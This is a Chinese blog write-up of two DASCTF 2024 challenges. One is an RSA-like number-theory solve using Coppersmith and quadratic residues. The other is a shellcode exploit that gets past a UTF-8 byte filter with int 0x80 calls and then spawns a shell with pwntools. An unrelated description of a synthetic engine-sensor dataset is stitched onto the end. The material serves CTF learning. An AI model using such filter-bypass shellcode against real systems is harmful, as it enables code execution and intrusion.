[DASCTF 2024最后一战|寒夜破晓,冬至终章] 数论的气氛,ez_shellcode

该文章已生成可运行项目,

数论的气氛

就会一个,是退步了还是太难了。

远看是个RSA,近看不是,只用的分解n

from sympy import isprime
from sympy.ntheory import legendre_symbol
import random
from Crypto.Util.number import bytes_to_long

k=79    #<-- i couldn't stress more

def get_p():
    global k
    while True:
        r=random.randint(2**69,2**70)
        p=2**k*r+1
        if isprime(p):
            return p
        else:
            continue

def get_q():
    while True:
        r=random.randint(2**147,2**148)
        q=4*r+3
        if isprime(q):
            return q
        else:
            continue


def get_y():
    global n,p,q
    while True:
        y=random.randint(0,n-1)
        if legendre_symbol(y,p)==1:
            continue
        elif legendre_symbol(y,q)==1:
            continue
        else:
            return y


flag=b'DASCTF{redacted:)}'
flag_pieces=[flag[0:10],flag[11:21],flag[22:32],flag[33:43],flag[44:]]
#assert int(bytes_to_long((flag_pieces[i] for i in range(5)))).bit_length()==k

p=get_p()
q=get_q()
n=p*q
print(f'{n=}')

y=get_y()
print(f'{y=}')


def encode(m):
    global y,n,k
    x = random.randint(1, n - 1)
    c=(pow(y,m,n)*pow(x,pow(2,k),n))%n
    return c

cs=[]
for i in range(len(flag_pieces)):
    ci=encode(bytes_to_long(flag_pieces[i]))
    cs.append(ci)

print(f'{cs=}')

'''
n=542799179636839492268900255776759322356188435185061417388485378278779491236741777034539347
y=304439269593920283890993394966761083993573819485737741439790516965458877720153847056020690
cs=[302425991290493703631236053387822220993687940015503176763298104925896002167283079926671604, 439984254328026142169547867847928383533091717170996198781543139431283836994276036750935235, 373508223748617252014658136131733110314734961216630099592116517373981480752966721942060039, 246328010831179104162852852153964748882971698116964204135222670606477985487691371234998588, 351248523787623958259846173184063420603640595997008994436503031978051069643436052471484545]
'''

先是生成p,q其中p = 2**k*r + 1 这个r只有70位,一下coopersmith就行。

###################1, coppersmith求p    p = 2^79*x + 1
k = 79
P.<x> = PolynomialRing(Zmod(n))
f = 2^k*x + 1
res = f.monic().small_roots(X=2^70, beta=0.499, epsilon=0.02)
#[1040145546891496498175]
p = int(f(res[0]))
#628729403897154553626034231171921094272614401

然后是生成y这个y对p,q都不是二次剩余(拉格朗日符号不为1)

把flag分成5块每块10字节(79位,与k相同)

c = y^m * rand^(2^k) % n 

这里边由于y对p不是二次剩余,那么如果m为奇数c就不是二次剩余,如果是偶数就是,可以用jacobi符号判断。

然后如果是奇数就除去y再开根号。而后边的rand^(2^k)保证开足够的根号(79)依然是二次剩余

这里有两个小坑,虽然c是模n的,但jacobi符号需要用素数运算,所以这里只能用一个因子来计算。第2是开根号有两个根,需要递归遍历下。

###################2, 二次剩余 求m
#每段flag只有79位, c = y^m * rand^(2*79)
#如果对p是二次剩余 m为0,c开根号            c2 = y^(m    //2)*rand^(2^78)
#否则m为1,c/y再开根号                     c2 = y^((m-1)//2)*rand^(2^78)
from gmpy2 import jacobi,invert 

def rabin(c):
    P.<x> = PolynomialRing(GF(p))
    f1 = x^2 - c
    resp = f1.roots()
    return [int(i[0]) for i in resp]

def getm(c,m):
    global ok,flag
    if ok: return 
    
    #print('Try:',c,m)
    if len(m)>=k:
        print('OK',m, long_to_bytes(int(m,2)))
        flag += long_to_bytes(int(m,2))
        ok = True
        return
    
    if jacobi(c, p) == -1:
        m = '1'+m
        c = int(c*invert(y,p)%p)
    else:
        m = '0'+m
    cs = rabin(c)
    for tc in cs:
        getm(int(tc),m)

flag = b''
for tc in cs:
    ok = False
    getm(tc,'')

print(flag)
#DASCTF{go0_j06!let1sm0v31n_t0_th3r_chanlenges~>_<}

ez_shellcode

这题一直没什么想法,今天突然想到一件事,很快就完成了。

用c++写的一个执行shellcode的程序,代码比较难看,大概流程如下:

1,输入代码

2,检查 0,2,4..的奇数位为utf-8字符的0x80-0x7ff间 1,3,5...的偶数位为0-0x7f的acsii字符

3,调用3次cin不清楚为啥感觉没啥用,反正返回都是0作为1参2参3参,测试都是0,不清楚输啥能得到参数。感觉是专门为了清寄存器的。

难点在于奇数位只能是Cx8x,DxBx,也就是第1字节110开头第2字节10开头。找到空白跳但1个字符整不出来syscall。

突然想到有一个人写的shell绕过用的int 0x80的32位调用,在64位系统里是可以直接用32位的调用的。而参数用xor eax,eax这种都是1+Cx这种后边补个nop(0x90)就OK了,而调用用int 0x80也不用异或。  

32位的调用参数使用ebx,ecx,edx,中断号eax,奇跳用leave;nop这里的leave只能用一次,好在它本身有个链,如果没有就得用xlatb这个会破坏al,好在只用开头用一次。后边在偶数位随便弄个push就行。

在调试的时候发现,输入的数据会少第1个字符,不明白怎么回事,随便补一个。

没有远程环境了,本地也可能有小出入,但应该不大。

from pwn import *
context(arch='amd64', log_level='debug')

p = process('./ez_shellcode')
#gdb.attach(p, 'b*0x5555555578e0\nc')

#奇数位只允许utf8字符[0x80,0x7ff]偶数位只允许[0,0x7f]
#用int 0x80 的32位调用
shellcode = '''
leave;nop;
xor al,0xc7;nop;
xor edx,eax;nop;
xor al,0xc4;nop;   /* eax=sys_read=3, edx=0xc7*/
xor ecx,ecx;nop;
xor ecx,ebx;nop;   /* ecx=buf */
xor ebx,ecx;nop;   /* ebx=0 */
push rax;
int 0x80  /* read(0,buf,0xc7) */
'''
b = asm(shellcode)
print([hex(ord(i)) for i in b.decode()])
p.sendlineafter(b"What is your lucky number?\n", b'1'+b) #输入会吃掉一位
p.sendafter(b'Leave to fate...\n',b'\n\n\n')

sleep(0.5)
p.send(b'\x90'*0x20+asm(shellcraft.sh()))
p.interactive()

本文章已经生成可运行项目
该数据集通过合成方式模拟了多种发动机在运行过程中的传感器监测数据,旨在构建一个用于机械系统故障检测的基准资源,特别适用于汽车领域的诊断分析。数据按固定时间间隔采集,涵盖了发动机性能指标、异常状态以及工作模式等多维度信息。 时间戳:数据类型为日期时间,记录了每个数据点的采集时刻。序列起始于2024年12月24日10:00,并以5分钟为间隔持续生成,体现了对发动机运行状态的连续监测。 温度(摄氏度):以浮点数形式记录发动机的温度读数。其数值范围通常处于60至120摄氏度之间,反映了发动机在常规工况下的典型温度区间。 转速(转/分钟):以浮点数表示发动机曲轴的旋转速度。该参数在1000至4000转/分钟的范围内随机生成,符合多数发动机在正常运转时的转速特征。 燃油效率(公里/升):浮点型变量,用于衡量发动机的燃料利用效能,即每升燃料所能支持的行驶里程。其取值范围设定在15至30公里/升之间。 振动_X、振动_Y、振动_Z:这三个浮点数列分别记录了发动机在三维空间坐标系中各轴向的振动强度。测量值标准化至0到1的标度,较高的数值通常暗示存在异常振动,可能与潜在的机械故障相关。 扭矩(牛·米):以浮点数表征发动机输出的旋转力矩,数值区间为50至200牛·米,体现了发动机的负载能力。 功率输出(千瓦):浮点型变量,描述发动机单位时间内做功的速率,取值范围为20至100千瓦。 故障状态:整型分类变量,用于标识发动机的异常程度,共分为四个等级:0代表正常状态,1表示轻微故障,2对应中等故障,3指示严重故障。该列作为分类任务的目标变量,支持基于传感器数据预测故障等级。 运行模式:字符串类型变量,描述发动机当前的工作状态,主要包括:怠速(发动机运转但无负载)、巡航(发动机在常规负载下平稳运行)、重载(发动机承受高负荷或高压工况)。 数据集整体包含1000条记录,每条记录对应特定时刻的发动机性能快照。其中故障状态涵盖从正常到严重故障的四级分类,有助于训练模型实现故障预测与诊断。所有数据均为合成生成,旨在模拟真实的发动机性能变化与典型故障场景,所包含的温度、转速、燃油效率、振动、扭矩及功率输出等关键传感指标,均为影响发动机故障判定的重要因素。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值